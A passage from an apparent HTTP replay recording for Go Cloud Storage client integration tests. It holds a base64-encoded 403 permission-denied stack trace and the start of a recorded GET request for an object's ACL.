0cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "5eb0710be2571dab", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - 